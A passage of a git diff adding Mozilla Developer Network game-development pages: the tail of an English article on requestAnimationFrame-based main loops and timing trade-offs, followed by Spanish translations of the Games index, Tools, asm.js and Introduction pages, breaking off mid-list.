+<p>Back to the topic of the main loop. You will often want to know when your main function was invoked. Because this is common, <code>window.requestAnimationFrame()</code> always provides a <code>DOMHighResTimeStamp</code> to callbacks as an argument when they are executed. This leads to another enhancement to our previous main loops.</p>
+
+<pre>/*
+* Starting with the semicolon is in case whatever line of code above this example
+* relied on automatic semicolon insertion (ASI). The browser could accidentally
+* think this whole example continues from the previous line. The leading semicolon
+* marks the beginning of our new line if the previous one was not empty or terminated.
+*
+* Let us also assume that MyGame is previously defined.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    // Your main loop contents.
+    // tFrame, from "function main ( tFrame )", is now a DOMHighResTimeStamp provided by rAF.
+  }
+
+  main(); // Start the cycle
+})();</pre>
+
+<p>Several other optimizations are possible and it really depends on what your game attempts to accomplish. Your game genre will obviously make a difference but it could even be more subtle than that. You could draw every pixel individually on a canvas or you could layer DOM elements (including multiple WebGL canvases with transparent backgrounds if you want) into a complex hierarchy. Each of these paths will lead to different opportunities and constraints.</p>
+
+<h2 id="It_is_decision..._time">It is decision... time</h2>
+
+<p>You will need to make hard decisions about your main loop: how to simulate the accurate progress of time. If you demand per-frame control then you will need to determine how frequently your game will update and draw. You might even want update and draw to occur at different rates. You will also need to consider how gracefully your game will fail if the user's system cannot keep up with the workload. Let us start by assuming that you will handle user input and update the game state every time you draw. We will branch out later.</p>
+
+<p><em><strong>Note</strong>: </em>Changing how your main loop deals with time is a debugging nightmare, everywhere. Think about your needs, carefully, before working on your main loop.</p>
+
+<h3 id="What_most_browser_games_should_look_like">What most browser games should look like</h3>
+
+<p>If your game can hit the maximum refresh rate of any hardware you support then your job is fairly easy. You can simply update, render, and then do nothing until VSync.</p>
+
+<pre>/*
+* Starting with the semicolon is in case whatever line of code above this example
+* relied on automatic semicolon insertion (ASI). The browser could accidentally
+* think this whole example continues from the previous line. The leading semicolon
+* marks the beginning of our new line if the previous one was not empty or terminated.
+*
+* Let us also assume that MyGame is previously defined.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+
+    update( tFrame ); //Call your update method. In our case, we give it rAF's timestamp.
+    render();
+  }
+
+  main(); // Start the cycle
+})();</pre>
+
+<p>If the maximum refresh rate cannot be reached, quality settings could be adjusted to stay under your time budget. The most famous example of this concept is the game from id Software, RAGE. This game removed control from the user in order to keep its calculation time at roughly 16ms (or roughly 60fps). If computation took too long then rendered resolution would decrease, textures and other assets would fail to load or draw, and so forth. This (non-web) case study made a few assumptions and tradeoffs:</p>
+
+<ul>
+ <li>Each frame of animation accounts for user input.</li>
+ <li>No frame needs to be extrapolated (guessed) because each draw has its own update.</li>
+ <li>Simulation systems can basically assume that each full update is ~16ms apart.</li>
+ <li>Giving the user control over quality settings would be a nightmare.</li>
+ <li>Different monitors input at different rates: 30 FPS, 75 FPS, 100 FPS, 120 FPS, 144 FPS, etc.</li>
+ <li>Systems that are unable to keep up with 60 FPS lose visual quality to keep the game running at optimal speed (eventually it outright fails, if quality becomes too low.)</li>
+</ul>
+
+<h3 id="Other_ways_to_handle_variable_refresh_rate_needs">Other ways to handle variable refresh rate needs</h3>
+
+<p>Other methods of tackling the problem exist.</p>
+
+<p>One common technique is to update the simulation at a constant frequency and then draw as much (or as little) of the actual frames as possible. The update method can continue looping without care about what the user sees. The draw method can view the last update and when it happened. Since draw knows when it represents, and the simulation time for the last update, it can predict a plausible frame to draw for the user. It does not matter whether this is more frequent than the official update loop (or even less frequent). The update method sets checkpoints and, as frequently as the system allows, the render method draws instants of time around them. There are many ways to separate the update method in web standards:</p>
+
+<ul>
+ <li>Draw on <code>requestAnimationFrame</code> and update on a {{ domxref("window.setInterval") }} or {{ domxref("window.setTimeout") }}.
+
+  <ul>
+   <li>This uses processor time even when unfocused or minimized, hogs the main thread, and is probably an artifact of traditional game loops (but it is simple.)</li>
+  </ul>
+ </li>
+ <li>Draw on <code>requestAnimationFrame</code> and update on a <code>setInterval</code> or <code>setTimeout</code> in a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Worker</a>.
+  <ul>
+   <li>This is the same as above, except update does not hog the main thread (nor does the main thread hog it). This is a more complex solution, and might be too much overhead for simple updates.</li>
+  </ul>
+ </li>
+ <li>Draw on <code>requestAnimationFrame</code> and use it to poke a Web Worker containing the update method with the number of ticks to compute, if any.
+  <ul>
+   <li>This sleeps until <code>requestAnimationFrame</code> is called and does not pollute the main thread, plus you are not relying on old fashioned methods. Again, this is a bit more complex than the previous two options, and <em>starting</em> each update will be blocked until the browser decides to fire rAF callbacks.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Each of these methods have similar tradeoffs:</p>
+
+<ul>
+ <li>Users can skip rendering frames or interpolate extra ones depending on their performance.</li>
+ <li>You can count on all users updating non-cosmetic variables at the same constant frequency minus hiccups.</li>
+ <li>Much more complicated to program than the basic loops we saw earlier.</li>
+ <li>User input is completely ignored until the next update (even if the user has a fast device).</li>
+ <li>The mandatory interpolation has a performance penalty.</li>
+</ul>
+
+<p>A separate update and draw method could look like the following example. For the sake of demonstration, the example is based on the third bullet point, just without using Web Workers for readability (and, let's be honest, writeability).</p>
+
+<p><em>Note: This example, specifically, is in need of technical review.</em></p>
+
+<pre>/*
+* Starting with the semicolon is in case whatever line of code above this example
+* relied on automatic semicolon insertion (ASI). The browser could accidentally
+* think this whole example continues from the previous line. The leading semicolon
+* marks the beginning of our new line if the previous one was not empty or terminated.
+*
+* Let us also assume that MyGame is previously defined.
+*
+* MyGame.lastRender keeps track of the last provided requestAnimationFrame timestamp.
+* MyGame.lastTick keeps track of the last update time. Always increments by tickLength.
+* MyGame.tickLength is how frequently the game state updates. It is 20 Hz (50ms) here.
+*
+* timeSinceTick is the time between requestAnimationFrame callback and last update.
+* numTicks is how many updates should have happened between these two rendered frames.
+*
+* render() is passed tFrame because it is assumed that the render method will calculate
+*          how long it has been since the most recently passed update tick for
+*          extrapolation (purely cosmetic for fast devices). It draws the scene.
+*
+* update() calculates the game state as of a given point in time. It should always
+*          increment by tickLength. It is the authority for game state. It is passed
+*          the DOMHighResTimeStamp for the time it represents (which, again, is always
+*          last update + MyGame.tickLength unless a pause feature is added, etc.)
+*
+* setInitialState() Performs whatever tasks are leftover before the mainloop must run.
+*                   It is just a generic example function that you might have added.
+*/
+
+;(function () {
+  function main( tFrame ) {
+    MyGame.stopMain = window.requestAnimationFrame( main );
+    var nextTick = MyGame.lastTick + MyGame.tickLength;
+    var numTicks = 0;
+
+    //If tFrame &lt; nextTick then 0 ticks need to be updated (0 is default for numTicks).
+    //If tFrame = nextTick then 1 tick needs to be updated (and so forth).
+    //Note: As we mention in summary, you should keep track of how large numTicks is.
+    //If it is large, then either your game was asleep, or the machine cannot keep up.
+    if (tFrame &gt; nextTick) {
+      var timeSinceTick = tFrame - MyGame.lastTick;
+      numTicks = Math.floor( timeSinceTick / MyGame.tickLength );
+    }
+
+    queueUpdates( numTicks );
+    render( tFrame );
+    MyGame.lastRender = tFrame;
+  }
+
+  function queueUpdates( numTicks ) {
+    for(var i=0; i &lt; numTicks; i++) {
+      MyGame.lastTick = MyGame.lastTick + MyGame.tickLength; //Now lastTick is this tick.
+      update( MyGame.lastTick );
+    }
+  }
+
+  MyGame.lastTick = performance.now();
+  MyGame.lastRender = MyGame.lastTick; //Pretend the first draw was on first update.
+  MyGame.tickLength = 50; //This sets your simulation to run at 20Hz (50ms)
+
+  setInitialState();
+  main(performance.now()); // Start the cycle
+})();</pre>
+
+<p>Another alternative is to simply do certain things less often. If a portion of your update loop is difficult to compute but insensitive to time, you might consider scaling back its frequency and, ideally, spreading it out into chunks throughout that lengthened period. An implicit example of this is found over at The Artillery Blog for Artillery Games, where they <a href="http://blog.artillery.com/2012/10/browser-garbage-collection-and-framerate.html">adjust their rate of garbage generation</a> to optimize garbage collection. Obviously, cleaning up resources is not time sensitive (especially if tidying is more disruptive than the garbage itself).</p>
+
+<p>This may also apply to some of your own tasks. Those are good candidates to throttle when available resources become a concern.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>I want to be clear that any of the above, or none of them, could be best for your game. The correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. The concern is mostly with switching to another option. Fortunately, I do not have any experience with this but I have heard it is an excruciating game of Whack-a-Mole.</p>
+
+<p>An important thing to remember for managed platforms, like the web, is that your loop may stop execution for significant periods of time. This could occur when the user unselects your tab and the browser sleeps (or slows) its <code>requestAnimationFrame</code> callback interval. You have many ways to deal with this situation and this could depend on whether your game is single player or multiplayer. Some choices are:</p>
+
+<ul>
+ <li>Consider the gap "a pause" and skip the time.
+  <ul>
+   <li>You can probably see how this is problematic for most multiplayer games.</li>
+  </ul>
+ </li>
+ <li>You can simulate the gap to catch up.
+  <ul>
+   <li>This can be a problem for long drops and/or complex updates.</li>
+  </ul>
+ </li>
+ <li>You can recover the game state from a peer or the server.
+  <ul>
+   <li>This is ineffective if your peers or server are out-of-date too, or they don't exist because the game is single player and doesn't have a server.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Once your main loop has been developed and you have decided on a set of assumptions and tradeoffs which suit your game, it is now just a matter of using your decisions to calculate any applicable physics, AI, sounds, network synchronization, and whatever else your game may require.</p>
diff --git a/files/es/games/herramients/asm.js/index.html b/files/es/games/herramients/asm.js/index.html
new file mode 100644
index 0000000000..bd41ed70a3
--- /dev/null
+++ b/files/es/games/herramients/asm.js/index.html
@@ -0,0 +1,29 @@
+---
+title: asm.js
+slug: Games/Herramients/asm.js
+tags:
+  - JavaScript
+  - asm.js
+translation_of: Games/Tools/asm.js
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<div class="summary">
+<p><span class="seoSummary"><a href="http://asmjs.org/">Asm.js</a> es un subconjunto de JavaScript que es altamente optimizable. Este artículo analiza exactamente lo que está permitido en el subconjunto asm.js, las mejoras que confiere, donde y cómo puedo utilizarlo, y otros recursos y ejemplos.</span></p>
+</div>
+
+<h2 id="¿Qué_es_asm.js_exactamente">¿Qué es asm.js exactamente?</h2>
+
+<p>Es un subconjunto muy pequeño y estricto de JavaScript que solo permite cosas como `while`, `if`, números, funciones con nombres de nivel superior y otras construcciones simples. No permite objetos, cadenas, cierres y básicamente cualquier cosa que requiera una asignación de la pila. El código asm.js se parece al lenguaje de programación "C" en muchos aspectos, pero es JavaScript completamente válido que se ejecuta en todos los motores actuales. Impulsa los motores JS para optimizar este tipo de código, y le da a los compiladores como Emscripten una definición clara de qué tipo de código generar. A continuación, mostraremos cómo es un código asm.js y explicaremos cómo le ayuda y cómo puede usarlo.</p>
+
+<p>Este subconjunto de JavaScript ya está altamente optimizado en muchos motores de JavaScript que utilizan técnicas de compilación Just-In-Time (JIT) sofisticadas. Sin embargo, al definir un estándar tan explícito, podemos trabajar en la optimización de este tipo de código aún más y obtener el máximo rendimiento posible. Facilita la colaboración en múltiples motores JS porque es fácil de comparar. La idea es que este tipo de código se ejecute muy rápido en cada motor, y si no lo hace, es que hay un error y es un claro mensaje de que los motores deben optimizarse.</p>
+
+<p>También facilita la tarea de las personas que escriben compiladores que desean generar código de alto rendimiento en la web. Pueden consultar las especificaciones de asm.js para saber que se ejecutará rápidamente si se adhieren a los patrones de asm.js. Emscripten, un compilador de C/C++ a JavaScript, genera código asm.js para que funcione con un rendimiento casi nativo en varios navegadores.</p>
+
+<p>Además, si un motor elige reconocer especialmente código asm.js, se pueden realizar aún más optimizaciones. Firefox es el único navegador que hace esto ahora.</p>
+
+<h2 id="Resumen_del_lenguaje_asm.js">Resumen del lenguaje asm.js</h2>
+
+<p>asm.js es un lenguaje de programación intermedio. Tiene una tasa de rendimiento muy predecible porque está limitada a un subconjunto extremadamente restringido de JavaScript que proporciona solo enteros, números en coma flotante, aritmética, llamadas a funciones y accesos de pila de tipo estricto. Las características de rendimiento son más cercanas al código nativo que las de JavaScript estándar. El uso del subconjunto de JavaScript asm.js ya es compatible con los principales navegadores web. Como asm.js se ejecuta en un navegador, depende en gran medida del navegador y del hardware.</p>
diff --git a/files/es/games/herramients/index.html b/files/es/games/herramients/index.html
new file mode 100644
index 0000000000..e09812b07d
--- /dev/null
+++ b/files/es/games/herramients/index.html
@@ -0,0 +1,46 @@
+---
+title: Herramientas para desarrolladores de juegos
+slug: Games/Herramients
+tags:
+  - NeedsContent
+  - NeedsTranslation
+  - aplicaciones
+  - juegos
+translation_of: Games/Tools
+---
+<div>{{GamesSidebar}}</div><div class="summary">
+ <p><span class="seoSummary">En esta pagina puedes encontrar enlaces a nuestros articulos de desarrollo de juegos, que enventualmente apuenta a cubrir frameworks, compiladores y herramientas de depuracion.</span></p>
+</div>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a></dt>
+ <dd>
+  asm.js es una subconjunto muy limitado del lenguaje Javascript que puede ser en gran medida optimizado y correr en modo compilador <em>ahead-of-time</em> (AOT) para un mejor rendimiento que el rendimiento tipico de JavaScript. Este es, por supuesto, bueno para juegos.</dd>
+ <dt>
+  <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a></dt>
+ <dd>
+  <p>Un compilador <em>LLVM</em> a JavaScript; con Emscripten, tu puedes compilar C++ y otros lenguajes que se pueden compilar a<em> LLVM</em> y luego a JavaScript de alto rendimiento. Es una buena herramiente para portar aplicaciones a la Web! Aqui hay un <a href="https://github.com/kripken/emscripten/wiki/Tutorial">util tutorial sobre Emscripten</a> disponible en la wiki. Estamos <a href="/en-US/docs/Emscripten">mirando cubrir Emscripten en su propia seccion de MDN</a>.</p>
+ </dd>
+ <dt>
+  <a href="https://addons.mozilla.org/en-us/firefox/addon/gecko-profiler/" title="https://addons.mozilla.org/en-us/firefox/addon/gecko-profiler/">Gecko profiler</a></dt>
+ <dd>
+  <em>Gecko profiler</em> es una extension que te permite perfilar tu codigo para ayudar donde tienes errores de rendimiento, asi puedes hacer que tu juego corra a velocidad maxima.</dd>
+ <dt>
+  <a href="/en-US/docs/Games/Tools/Engines_and_tools">Motores de juegos y herramientas</a></dt>
+ <dd>
+  Una lista de motores, plantillas y tecnologias utiles para los desarrolladores de juegos.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Projects/Shumway">Shumway</a></dt>
+ <dd>
+  <em>Shumway</em> es un renderizador para Adobe Flash construido completamente con JavaScript, WebGL, entre otros, haciendo una brecha entre Flash y los estandares Web. Este articulo muestra como hacer uso de Shumway y como contribuir arreglos y errores al proyecto.</dd>
+ <dt>
+  Cadena de herramientas para desarrollar y depurar juegos</dt>
+ <dd>
+  Como difieren de depurar una Web app normal? Que herramientas especializadas estan disponibles? Un lote de esto va a ser cubierto por Will en <a href="/en-US/docs/Tools">herramientas</a>, pero aqui te vamos a proveer una cadena de herramientas practicas para depurar juegos con links a las cosas de Will:
+  <ul>
+   <li>Basic tools overview</li>
+   <li><a href="/en-US/docs/Tools/Shader_Editor">Shader editor</a></li>
+   <li>Performance tools (still in production, estimated early 2014)</li>
+  </ul>
+ </dd>
+</dl>
diff --git a/files/es/games/index.html b/files/es/games/index.html
new file mode 100644
index 0000000000..29eba5c52f
--- /dev/null
+++ b/files/es/games/index.html
@@ -0,0 +1,74 @@
+---
+title: Desarrollo de Videojuegos
+slug: Games
+tags:
+  - Apps
+  - Games
+  - NeedsContent
+  - TopicStub
+  - aplicaciones
+  - juegos
+translation_of: Games
+---
+<div>{{GamesSidebar}}</div>
+
+<div class="summary">
+<p>Jugar es una de las actividades más populares en las computadoras. Constantemente aparecen nuevas tecnologías para desarrollar juegos mejores y más potentes que pueden iniciarse en cualquier navegador web compatible con los estándares.</p>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Introducción_de_los_juegos_para_la_Web">Introducción de los juegos para la Web</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Games/Introduction" title="/en-US/docs/Games/Introduction">Introducción al desarrollo de juegos para la Web</a></dt>
+ <dd>Una introducción a las tecnologías útiles para los desarrolladores de juegos y cómo iniciarse a desarrollar juegos usando tecnologías Web. Este artículo también examina el negocio de crear juegos para la Web.</dd>
+ <dt><a href="/en-US/docs/Games/Anatomy_of_a_vIdeo_game">Anatomía de un videojuego</a></dt>
+ <dd>¿Qué es un videojuego en realidad?. Aquí hay ciertas partes que son comunes entre los juegos (aunque no lo parezca). Este artículo busca explicar conceptos como los  <em>main loops</em> en un contexto completamente general. Cuando se enfoca lo hace hacia los estándares Web.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Developing/Games/Special_considerations">Consideraciones especiales para desarrolladores de videojuegos</a></dt>
+ <dd>Este artículo del Centro de Aplicaciones examina brevemente las cosas que necesitas considerar específicamente cuando intentas crear un juego que correrá como una <em>open web app</em>.</dd>
+</dl>
+
+<h2 id="Recursos_externos">Recursos externos</h2>
+
+<dl>
+ <dt><a href="http://buildnewgames.com/">Build New Games</a></dt>
+ <dd>Un sitio colaborativo con un largo número de tutoriales de desarrollo de Open Web Game.</dd>
+ <dt><a href="http://creativejs.com/">Creative JS</a></dt>
+ <dd>Un colección impresionante de técnicas y experimentos de JavaScript , No específica para los juegos, pero útil.</dd>
+ <dt><a href="http://gameprogrammingpatterns.com/">Game programming patterns</a></dt>
+ <dd>Un libro en línea, escrito por Bob Nystrom, que discute patrones de programación en el contexto de desarrollo de videojuegos con el objetivo de ayudar a los desarrolladores de videojuegos a producir código más efectivo y eficiente.</dd>
+ <dt><a href="http://blog.artillery.com/">Artillery blog</a></dt>
+ <dd>La compañía de videojuegos HTML5 Artillery tiene algunos artículos útiles en su blog.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Temas_de_desarrollo_de_Videojuegos">Temas de desarrollo de Videojuegos</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Games/Tools">Herramientas</a></dt>
+ <dd>Esta sección cubre las herramientas disponibles para facilitar la creación de experiencias de juego eficaces en la Web, como los frameworks, compiladores, como Emscripten y herramientas de depuración. Explica el núcleo de conceptos detrás de cada uno dándote una base sólida para trabajar.</dd>
+ <dt><a href="/en-US/docs/Games/Techniques">Técnicas</a></dt>
+ <dd>Esta sección contiene muchos artículos tratando técnicas esenciales para el desarrollo de videojuegos, como la física, detección de colisión, animación, 3D, guardado de datos, y mucho más.</dd>
+ <dt><a href="/en-US/docs/Games/Workflows">Flujo de trabajo</a></dt>
+ <dd>Esta sección incluye múltiples casos de estudio, obteniendo las herramientas básicas y técnicas cubiertas por encima y aplicar éstas a la creación de videojuegos asombrosos. Hay algo para ti aquí, si eres un desarrollador Web experimentado queriendo escribir videojuegos 2D o 3D, un desarrollador de C++ buscando portar juegos nativos a la Web o un desarrollador móvil buscando ayuda para escribir mejores juegos móviles.</dd>
+</dl>
+
+<h2 id="Demos">Demos</h2>
+
+<dl>
+ <dt><a href="/en-US/demos/detail/bananabread" title="/en-US/demos/detail/bananabread">BananaBread</a></dt>
+ <dd>Un multijugador <em>shooter</em> 3D de primera persona desarrollado usando Emscripten, WebGL, y WebRTC.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Tutorials/Games/Serpent_game">Serpent game</a></dt>
+ <dd>Esta Open Web App es un juego simple basado en el clásico juego "Snake". Usa la plantilla <a class="external" href="https://github.com/mozilla/WebGameStub">WebGameStub</a>, que puede ayudarte a crear rápidamente un juego para la Web.</dd>
+ <dt><a href="https://hacks.mozilla.org/2013/12/monster-madness-creating-games-on-the-web-with-emscripten/">Monster Madness</a></dt>
+ <dd>Un juego en línea multijugador <em>shooter</em> basado en WebGL y asm.js, desarrollado por Nom Nom Games y Trendy entertainment.</dd>
+ <dd></dd>
+</dl>
+</div>
+</div>
+
+<div class="note">
+<p><strong><span id="result_box" lang="es"><span class="hps">Tenga en cuenta que</span> <span class="hps">estamos manteniendo</span> <span class="hps">un registro de</span> <span class="hps">los trabajos en curso</span> <span class="hps">sobre la documentación</span></span> en nuesta <strong>página</strong> <a href="/en-US/docs/Games/Doc_Status">Estado de la Documentación de Desarrollo de Videojuegos</a>. Si quieres ayudar a contribuir <strong><strong>para la documentación de desarrollo de videojuegos, <strong><strong>por favor, ¡busque en esta <strong><strong>página <strong><strong>para ver qué trabajo necesita hacerse!.</strong></strong></strong></strong></strong></strong></strong></strong></strong></p>
+</div>
diff --git a/files/es/games/introduccion/index.html b/files/es/games/introduccion/index.html
new file mode 100644
index 0000000000..b19ea1a61e
--- /dev/null
+++ b/files/es/games/introduccion/index.html
@@ -0,0 +1,167 @@
+---
+title: Introduccion para desarrollo de juegos para la Web
+slug: Games/Introduccion
+tags:
+  - Firefox OS
+  - juegos
+  - moviles
+translation_of: Games/Introduction
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<div>La Web rapidamente se ha convertido en una plataforma viable no solo para crear impresionantes juegos de alta calidad, sino también para distruibuirlos.</div>
+
+<div></div>
+
+<div>El rango de juegos que pueden ser creados está a la par tanto de los juegos de escritorio como de SO nativos (Android, iOS). Con tecnologias Web modernas y un navegador reciente es totalmente posible hacer juegos de primera categoria para la Web. Y no estamos hablando sobre simples juegos de cartas o juegos sociales multijugadores que en tiempos anteriores se podian hacer con Flash®. Estamos hablando sobre juegos 3D <em>shooters</em> de accion, RPGs, y más. Gracias a las masivas mejoras de rendimiento en <a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>  con tecnologia de compilación <em>just-in-time</em> y nuevas APIs, se pueden construir juegos que pueden correr en el navegador (o en dispositivos <a href="/en-US/docs/HTML/HTML5" title="/en-US/docs/HTML/HTML5">HTML5</a> como <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>) sin problemas.</div>
+
+<h2 id="La_plataforma_de_juegos_HTML5">La plataforma de juegos HTML5</h2>
+
+<p>Puedes pensar en la Web como una mejor opción de plataforma para desarrollar tu juego. Como nos gusta decir, "la Web es la plataforma". Hechemos un vistazo al nucleo de la plataforma Web:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Funcion</th>
+   <th scope="col">Tecnología</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>Audio</strong></td>
+   <td><a href="/es/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Graficos</strong></td>
+   <td><a href="/es/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> (<a href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0)</td>
+  </tr>
+  <tr>
+   <td><strong>Entrada</strong></td>
+   <td><a href="/es/docs/DOM/Touch_events" title="/en-US/docs/DOM/Touch_events">Touch events</a>, <a href="/en-US/docs/API/Gamepad/Using_Gamepad_API" title="/en-US/docs/API/Gamepad/Using_Gamepad_API">Gamepad API</a>, device sensors, <a href="/es/docs/Web/API/WebRTC_API" title="/en-US/docs/WebRTC">WebRTC</a>, <a href="/es/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">Full Screen API</a>, <a href="/es/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a></td>
+  </tr>
+  <tr>
+   <td><strong>Lenguaje</strong></td>
+   <td><a href="/es/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a> (o C/C++ usando <a href="https://github.com/kripken/emscripten/wiki" title="https://github.com/kripken/emscripten/wiki">Emscripten</a> para compilar a JavaScript)</td>
+  </tr>
+  <tr>
+   <td><strong>Redes</strong></td>
+   <td><a href="/es/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> and/or <a href="/es/docs/WebSockets" title="/en-US/docs/WebSockets">WebSockets</a></td>
+  </tr>
+  <tr>
+   <td><strong>Almacenamiento</strong></td>
+   <td><a href="/es/docs/IndexedDB" title="/en-US/docs/IndexedDB">IndexedDB</a> o la "nube"</td>
+  </tr>
+  <tr>
+   <td><strong>Web</strong></td>
+   <td><a href="/es/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/es/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/es/docs/SVG" title="/en-US/docs/SVG">SVG</a>, <a href="/es/docs/Social_API" title="/en-US/docs/Social_API">Social API</a> (y mucho más!)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="El_caso_de_Exito">El caso de Exito</h2>
+
+<div>Como un desarrollador de juegos, de forma individual o como un gran studio de juegos, tu quieres por que tiene sentido apuntar a la Web como tu práximo proyecto de juego. Veamos como la Web puede ayudarte.</div>
+
+<div></div>
+
+<ol>
+ <li>
+  <div><span class="notranslate">El alcance de la Web es enorme;</span> <span class="notranslate"> está en todas partes.</span> <span class="notranslate"> Los juegos construidos con HTML5 funcionan en smartphones, tablets, PCs y Smart TVs.</span></div>
+ </li>
+ <li><span class="notranslate">Se mejoran la comercialización y la detección.</span> <span class="notranslate"> No estás limitado a promocionar tu aplicación en la tienda de aplicaciones de otra persona.</span> <span class="notranslate"> En su lugar, puede anunciar y promover su juego en toda la Web, así como en otros medios, aprovechando la inherente capacidad de enlace y capacidad de compartir de la Web para llegar a nuevos clientes.</span></li>
+ <li><span class="notranslate">Usted tiene control donde importa: Pagos.</span> <span class="notranslate"> Usted no tiene que entregar más del 30% de sus ingresos a otra persona sólo porque su juego está en su ecosistema.</span> <span class="notranslate"> En su lugar, cargue lo que quiera y utilice cualquier servicio de procesamiento de pagos que le guste.</span></li>
+ <li><span class="notranslate">Una vez más con más control, puedes actualizar tu juego cuando quieras.</span> <span class="notranslate"> No hay que esperar sin aliento para la aprobación, mientras que alguien oculto dentro de otra empresa decide si su solución de error crítico se enviará hoy o mañana.</span></li>
+ <li><span class="notranslate">¡Controla tus análisis!</span> <span class="notranslate"> En lugar de confiar en otra persona para tomar todas las decisiones sobre qué analítica necesita, puede recoger su propia o elegir la tercera parte que más le guste para recopilar información sobre sus ventas y el alcance de su juego.</span></li>
+ <li><span class="notranslate">Usted consigue manejar su relación del cliente más de cerca, en su propia manera.</span> <span class="notranslate"> No más tener comentarios de los clientes filtrados a través de los mecanismos limitados de una tienda de aplicaciones.</span> <span class="notranslate"> Involucrarse con sus clientes de la manera que desee, sin un intermediario.</span></li>
+ <li><span class="notranslate">Sus jugadores pueden jugar su juego en cualquier lugar, en cualquier momento.</span> <span class="notranslate"> Debido a que la Web es omnipresente, sus clientes pueden comprobar el estado de su juego en sus teléfonos, tabletas, computadoras portátiles domésticas, sus escritorios de trabajo o cualquier otra cosa.</span></li>
+</ol>
+
+<h2 class="highlight-spanned" id="Tecnologías_web_para_desarrolladores_de_juegos_Edit"><span class="highlight-span"><span class="notranslate">Tecnologías web para desarrolladores de juegos</span> </span><a class="button section-edit only-icon" href="https://developer.mozilla.org/es/docs/Games/Introduccion$edit#Web_technologies_for_game_developers" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<p><span class="notranslate">Para la gente de tecnología, vamos a cavar en las API que la Web aporta a la mesa que atienden a los desarrolladores de juegos. Esta es una lista exhaustiva para darle una muestra de lo que la Web puede hacer por usted:</span></p>
+
+<div class="twocolumns">
+<dl>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/API/Fullscreen_API" title="/ Es-ES / docs / DOM / Using_fullscreen_mode">API de pantalla completa</a></span></dt>
+ <dd><span class="notranslate">Esta sencilla API permite que su juego se haga cargo de toda la pantalla, sumergiendo al jugador en acción.</span></dd>
+ <dt><span class="notranslate"><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/API/Gamepad/Using_Gamepad_API&amp;usg=ALkJrhhV6r_1Mvu6SOpsoQgHhJElOIWX7g" title="/ Es-ES / docs / API / Gamepad / Using_Gamepad_API">API de Gamepad</a></span></dt>
+ <dd><span class="notranslate">Si desea que sus usuarios puedan usar gamepads u otros controladores de juego para trabajar su juego, necesitará esta API.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/HTML" title="/ Es-US / docs / HTML">HTML</a> y <a href="https://developer.mozilla.org/es/docs/Web/CSS" title="/ Es-ES / docs / CSS">CSS</a></span></dt>
+ <dd><span class="notranslate">Juntas, estas dos tecnologías le permiten construir, diseñar y diseñar la interfaz de usuario de su juego.</span> <span class="notranslate"> Parte de HTML es el elemento <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=es&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/es/docs/HTML/Elemento/canvas&amp;usg=ALkJrhhVmlLNFuUPIZvH_teRdETdIbBebw" title="Este artículo aún no se ha escrito. ¡Considere contribuir!"><code>&lt;canvas&gt;</code></a> , que proporciona una forma de hacer gráficos 2D.</span></dd>
+ <dt><span class="notranslate"><a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/audio" title="/ Es-ES / docs / HTML / Elemento / audio">Audio HTML</a></span></dt>
